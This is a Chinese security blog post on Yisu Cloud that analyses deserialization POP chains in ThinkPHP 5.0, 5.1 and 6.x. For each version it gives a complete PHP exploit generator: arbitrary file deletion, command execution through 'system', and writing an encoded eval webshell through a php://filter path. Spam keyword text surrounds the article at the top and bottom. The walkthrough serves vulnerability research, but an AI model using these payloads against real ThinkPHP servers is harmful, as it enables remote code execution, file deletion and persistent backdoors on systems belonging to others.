中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

發布時間:2021-10-18 15:59:04 來源:億速云 閱讀:259 作者:柒染 欄目:安全技術

這篇文章給大家介紹Thinkphp5.0、5.1、6.x反序列化的漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

命名空間

命名空間的聲明可避免類或函數名重復導致的各種問題。使用namespace可以聲明、切換命名空間。

<?php
namespace first;
echo "當前命名空間",__NAMESPACE__,"\n";

namespace second;
echo "當前命名空間",__NAMESPACE__,"\n";
?>
/*運行結果
 *當前命名空間first
 *當前命名空間second
 */

在不同命名空間內可以定義同名類,有多個命名空間時,默認為最后一次聲明的空間.若要使用其他命名空間的類,則需要在類前加入命名空間,直接使用其他命名空間的類會出錯

<?php
namespace first;
class wow{
	function __construct(){
	echo "當前命名空間",__NAMESPACE__,"\n";
	}
}
class fine{
	function __construct(){
		echo "I'm fine thank u\n";
	}
}

namespace second;
class wow{
	function __construct(){
		echo "當前命名空間",__NAMESPACE__,"\n";
	}
}

new wow();
echo "正確的創建fine\n";
new \first\fine();			//需要有反斜杠在前
echo "錯誤的創建fine\n";
new fine();

?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv5.1 漏洞

Thinkphp v5.1.39LTS

POP鏈為:Windows::__destruct --> Pivot::__toString  --> Request::__call  -->Request::isAjax  --> Request::param  --> Request::input  --> Request::filterValue  -->call_user_func,

Windows類thinkphp/library/think/process/pipes/Windows.php

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤removeFiles()
Thinkphp5.0、5.1、6.x反序列化的漏洞分析

該函數功能,遍歷Windows->files屬性,若存在該屬性指定的文件,則刪除。$this->files完全可控,故可刪除任意文件,例如

<?php

namespace think\process\pipes;
use think\Process;
class Pipes{}
class Windows extends Pipes{
	private $files = [];
	function __construct(){
		$this->files = ["D://del.txt"];
	}
}

echo urlencode(serialize(New Windows()))."\n";

?>
//運行結果
//O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A11%3A%22D%3A%2F%2Fdel.txt%22%3B%7D%7D

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

removeFiles函數第163行,以file_exist函數處理$filename,file_exist函數會將參數當作字符串處理,倘若使得$filename為一個擁有__toString方法的對象則可觸發__toString方法。

Pivot類的__toString方法來自父類Model,而Model的__toString方法則來自trait類Conversion

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Conversion類__toString鏈如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

toArray代碼過長,截取有用部分如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其間$relation變量來自$this->data[$name],而$name變量則來自$this->append,此兩者皆可控。若使得$relation為擁有可利用visible方法或者不擁有visible方法但擁有可利用__call方法的對象,則可進入下一步利用。

__call這里找到Request類,如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

由于$this->hook可控,我們可以輕易執行到call_user_func_array.但又由于代碼330行array_unshift的存在,使得Request對象被放置到$args的首位,導致我們無法在此處執行任意代碼(因為參數不可控),故需要再次尋找第一個參數不太影響結果的函數構造可利用鏈。

這里找到Request::isAjax,并跟蹤

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤input

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$name來自config['var_ajax'],可控,$data來自$this->param,也可控.

跟蹤filterValue,其間執行了call_user_func($filter, $value)

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$value來自input中的$data,故最終來自$this->param,$filter在調用getFilter函數后獲得

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其間$this->filter可控,故$filter可控。由于$filter,$value皆可控,故可執行任意代碼,再回看一次pop鏈

Windows::__destruct --> Pivot::__toString  --> Request::__call  -->Request::isAjax  --> Request::param  --> Request::input  --> Request::filterValue  -->call_user_func

exp

倘若要執行system('id'),則需要控制變量為以下值

Request->filter = "system";
Request->param = array('id');
Request->hook['visible'] = [$this,"isAjax"];
Request->config['var_ajax'] = '';
Pivot->data = ["azhe" => new Request()];
Pivot->append = ["azhe" => ["4ut","15m"]];
Windows->files = [new Pivot()];

---exp---
<?php

namespace think;
abstract class Model{
	private $data = [];
	protected $append = [];
	public function __construct(){
		$this->data = ["azhe" => new Request()];
		$this->append = ["azhe" => ["4ut","15m"]];
	}
}

class Request{
	protected $config = [
        // 表單請求類型偽裝變量
        'var_method'       => '_method',
        // 表單ajax偽裝變量
        'var_ajax'         => '_ajax',
        // 表單pjax偽裝變量
        'var_pjax'         => '_pjax',
        // PATHINFO變量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO獲取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默認全局過濾方法 用逗號分隔多個
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理標識
        'https_agent_name' => '',
        // IP代理獲取標識
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL偽靜態后綴
        'url_html_suffix'  => 'html',
    ];
    protected $param = [];
    protected $hook = [];
    protected $filter;
    public function __construct(){
    	$this->filter = "system";
    	$this->hook = ["visible" => [$this, "isAjax"]];
    	$this->param = array('id');			//可以在這里寫定命令,也可不在此設定,param函數會通過提交的參數來更新該值,故也可直接在地址欄提交任意參數執行命令
        $this->config['var_ajax'] = '';
    }
}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
	private $files ;
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv6.x 漏洞

POP鏈Model->__destruct() --> Model->save() --> Model->updateData() --> Model->checkAllowFields() --> Conversion->__toString() --> Conversion->toJson() --> Conversion->toArray() --> Attribute->getAttr() --> Attribute->getValue()

先看反序列化起點Model->__destruct()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->lazySave == true時調用save,跟蹤如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想調用updateData,需要繞過第一個if并且$this->exists == true

if的繞過需要使isEmpty()返回false并且trigger()返回true

跟蹤isEmpty(),當$this->data不為空時返回false

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤trigger(),當$this->withEvent == false時trigger()返回true.(PS:trigger()所屬類為ModelEvent)

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

繞過后,跟蹤updateData().

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想調用checkAllowFields需要繞過第二個if.跟蹤getChangedData()查看$data的獲取

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->force == true時,$data可控并且就為$this->data的值

跟蹤checkAllowFields().這里已經可以看到一個__toString觸發點,除了這一個觸發點,還有一個觸發點就是db()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤db().進行字符串拼接處即是觸發點。只要使$this->table、$this->name或$this->suffix為擁有__toString方法的對象即可。

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想執行到觸發點,需要繞過updateData的第2個和第3個if,也即是$this->field(默認為空)與$this->schema(默認為空)為空

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

以上即是__destruct鏈,總結一下需要設置的屬性如下

Model->lazySave = true;
Model->exists = true;
Model->withEvent = false
Model->force = true;
Model->data不為空
Model->name(或table、suffix)為某對象

下面看__toString

Conversion->__toString

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤toArray()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要調用getAttr()首先需要繞過if.

$data來自$this->data$this->relation,當$datavalue不是Model或ModelCollection實例時即可通過第一個if,若設置$this->visible則在173行調用getAttr,不設置則在175行調用,沒有影響.

跟進getAttr()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

調用getData獲取到$value,跟進

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進getRealFieldName()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->strict == true(默認也為true)時,返回$name(name即是$this->data的key).也即是$fieldName終值為$this->data的key.

代碼279行的if,當$this->data中存在$fieldName鍵時,返回對應鍵的值。故$value最終值為$this->data[$fieldName]

跟進getValue()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代碼第496行,$closure完全可控,第497行觸發rce.

先看調用getValue()傳入的參數,$name、$value、$relation,這三者分別為$this->data的key,$this->data的value,false

因為$this->withAttr[$fieldName]可控并且$relation == false,故程序會執行到497行。

以上則為__toString鏈,總結需要設置的內容如下

$this->data = array('azhe'=>'whoami');
$this->withAttr = array('azhe'=>[])
Conversion類為trait類,需要尋找使用了它的類,這里可以用Pivot類

上下文總結如下
$Model->lasySave = true;
$Model->exists = true;
$Model->withEvent = false;
$Model->force = true;
$Model->name = new Pivot();
$Model->data = array('azhe'=>'whoami');
$Model->withAttr = array('azhe'=>'system');

exp

<?php
/*Model->__destruct()
 *Model->save()
 *Model->updateData()
 *Model->checkAllowFields()
 *Conversion->__toString()
 *Conversion->toJson()
 *Conversion->toArray()
 *Conversion->getAttr()
 *Conversion->getValue()
 */
namespace think;
abstract class Model{
	private $exists;
	private $force;
	private $lazySave;
	protected $name;
	protected $withEvent;
	private $data;
    private $withAttr;

	public function __construct($obj = null,$cmd = ''){
		$this->lazySave = true;
		$this->exists = true;
		$this->withEvent = false;
		$this->force = true;
		$this->name = $obj;
		$this->data = array('azhe'=>"${cmd}");
    	$this->withAttr = array('azhe'=>'system');
	}
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}

$a = new Pivot();
$b = new Pivot($a,$argv[1]);
echo urlencode(serialize($b))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv5.0 漏洞

POP鏈Windows->__destruct() --> Windows->removeFiles() --> Model->__toString --> Model->toJson() --> Model->toArray() --> Output->__call --> Output->block --> Output->writeln --> Output->write --> Memcache->write --> File->set

首先看__destruct鏈,thinkphp/library/think/process/pipes/Windows.php:56

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進removeFiles(),這里與TPv5.1相同,也存在任意文件刪除,不再演示

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

再看__toString鏈,thinkphp/library/think/Model.php:2265

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進toJson()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進toArray(),代碼過多,截取關鍵部分

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

倘若$value可控,則可在此處觸發__call

因為$this->append可控,所以$name可控,當$name不為數組,并且不含有.時,代碼進入899行,跟進Loader::parseName();

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$relation可控為第一個字母小寫的任意字符串

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代碼第900-901行,我們可以調用該類(Model)的任意方法,并且將結果賦予$modelRelation

先跟進getRelationData()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進isSelfRelation()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進getModel(),這個getModel是Relation的類方法

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

它的getModel又調用了$this->query的getModel,因為$this->query可控,故全局搜索getModel(),發現兩個簡單易用的getModel
Thinkphp5.0、5.1、6.x反序列化的漏洞分析

這兩個getModel都是直接返回對象的$this->model,故$modelRelation->getModel()可控

可以發現,$this->parent可控,倘若$modelRelation也可控,那么$value就可控。回看$modelRelation,它為我們調用的、任一Model方法的返回值,查看Model類的方法,找到一簡單可控的方法getError()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

再往下看

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$modelRelation需要存在getBindAttr方法,全局搜索發現只有抽象類OneToOne存在該方法,并且該類也是Relation的子類。從這里看,我們需要讓$modelRelation為OneToOne的子類.再往下看,$bindAttr可控

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

到這,已經可以隨便控制$bindAttr使代碼執行到912行了。

912行,可以這樣看

$item[$bindAttr的key] = $this->parent ? $this->parent->getAttr($bindAttr[key]) : null,$bindAttr$this->parent皆可控

OneToOne的子類如下,$modelRelation可以任選其一

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

由于我們要使用Output類的__call方法,故需要使$this->parent為Output對象

__toString鏈需要構造以下內容

Model->append = array('4ut15m'=>'getError');
Model->error = new BelongsTo();	//或者HasOne
Model->parent = new Output();
OneToOne->selfRelation = false;
OneToOne->query = new ModelNotFoundException();
OneToOne->bindAttr = array('4ut15m');
ModelNotFoundException->model = new Output();

再看__call鏈,thinkphp/library/think/console/Output.php:208

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代碼212行,調用當前對象的block方法,跟進block()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進writeln()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->handle可控,全局搜索write方法,找到 Memcache::write

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其中$this->handler$this->config都可控

全局搜索set方法,發現File::set

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

因為$this->options可控,故$expire可控,$nameMemcache->config相關,半可控,跟進getCacheKey()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

至此$filename路徑可控,$name為可以確定的md5值

寫入文件的內容$data$value$expire組成,追溯前者其不可控,值為true。后者則由于格式化輸出的原因無法控制。跟進setTagItem()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代碼在200行又調用了set方法,并且寫入內容$value為傳入的參數$name也即是前文的$filename,路徑部分可控。這里可以通過php偽協議php://write寫入shell,如下

php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG['4hg15z']);?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

__call鏈需要構造以下內容

Output->styles = ['getAttr'];
Output->handle = new Memcache();
Memcache->handler = new File();
File->options = ['expire'        => 0,
        	'cache_subdir'  => false,	//設置為false可控制寫入的文件在默認路徑下
        	'prefix'        => '',
        	'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'4hg15z\']);?>',
        	'data_compress' => false];

exp

<?php

namespace think\process\pipes;
use think\model\Pivot;
//Windows類
class Windows{
	private $files;	
	public function __construct(){
		$this->files = array(new Pivot());	
	}
}

namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
//Pivot類
class Pivot {
	public $parent;	
	protected $error;
	protected $append;
	
	public function __construct(){
		$this->append = array('4ut15m' => 'getError');
		$this->error = new BelongsTo();		
		$this->parent = new Output();	
	}
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
//BelongsTo類
class BelongsTo {
	protected $parent;
	protected $query;
	protected $selfRelation;
	protected $bindAttr;

	public function __construct(){
		$this->selfRelation = false;
		$this->query = new ModelNotFoundException();		
		$this->bindAttr = array('4ut15m');
	}

}

namespace think\console;
use think\session\driver\Memcache;
//Output類
class Output{
	private $handle;
    protected $styles;

	public function __construct(){
		$this->styles = ['getAttr'];
		$this->handle = new Memcache();	
	}
}

namespace think\db\exception;
use think\console\Output;
//ModelNotFoundException類
class ModelNotFoundException{
	protected $model ;

	public function __construct(){
		$this->model = new Output();	
	}
}

namespace think\session\driver;
use think\cache\driver\File;
//Memcache類
class Memcache{
	protected $handler;

	public function __construct(){
		$this->handler = new File();
	}
}

namespace think\cache\driver;
use think\cache\Driver;
//File類
class File {
	protected $tag;
	protected $options;
	public function __construct(){
		$this->tag = '4ut15m';
		$this->options = [
        	'expire'        => 0,
        	'cache_subdir'  => false,
        	'prefix'        => '',
        	'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'4hg15z\']);?>',
        	'data_compress' => false,
    	];
	}
}

use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

關于Thinkphp5.0、5.1、6.x反序列化的漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

山东省| 吴江市| 侯马市| 三台县| 喜德县| 宜昌市| 栾川县| 五家渠市| 呼图壁县| 象山县| 南充市| 固安县| 利津县| 阿勒泰市| 普兰店市| 婺源县| 珠海市| 班玛县| 新巴尔虎右旗| 广汉市| 扶风县| 康乐县| 高雄县| 凌海市| 旬邑县| 洱源县| 威宁| 新和县| 巴塘县| 渝中区| 民丰县| 平顶山市| 荔浦县| 盘锦市| 都安| 邵武市| 玉屏| 凭祥市| 滦南县| 沾益县| 原平市|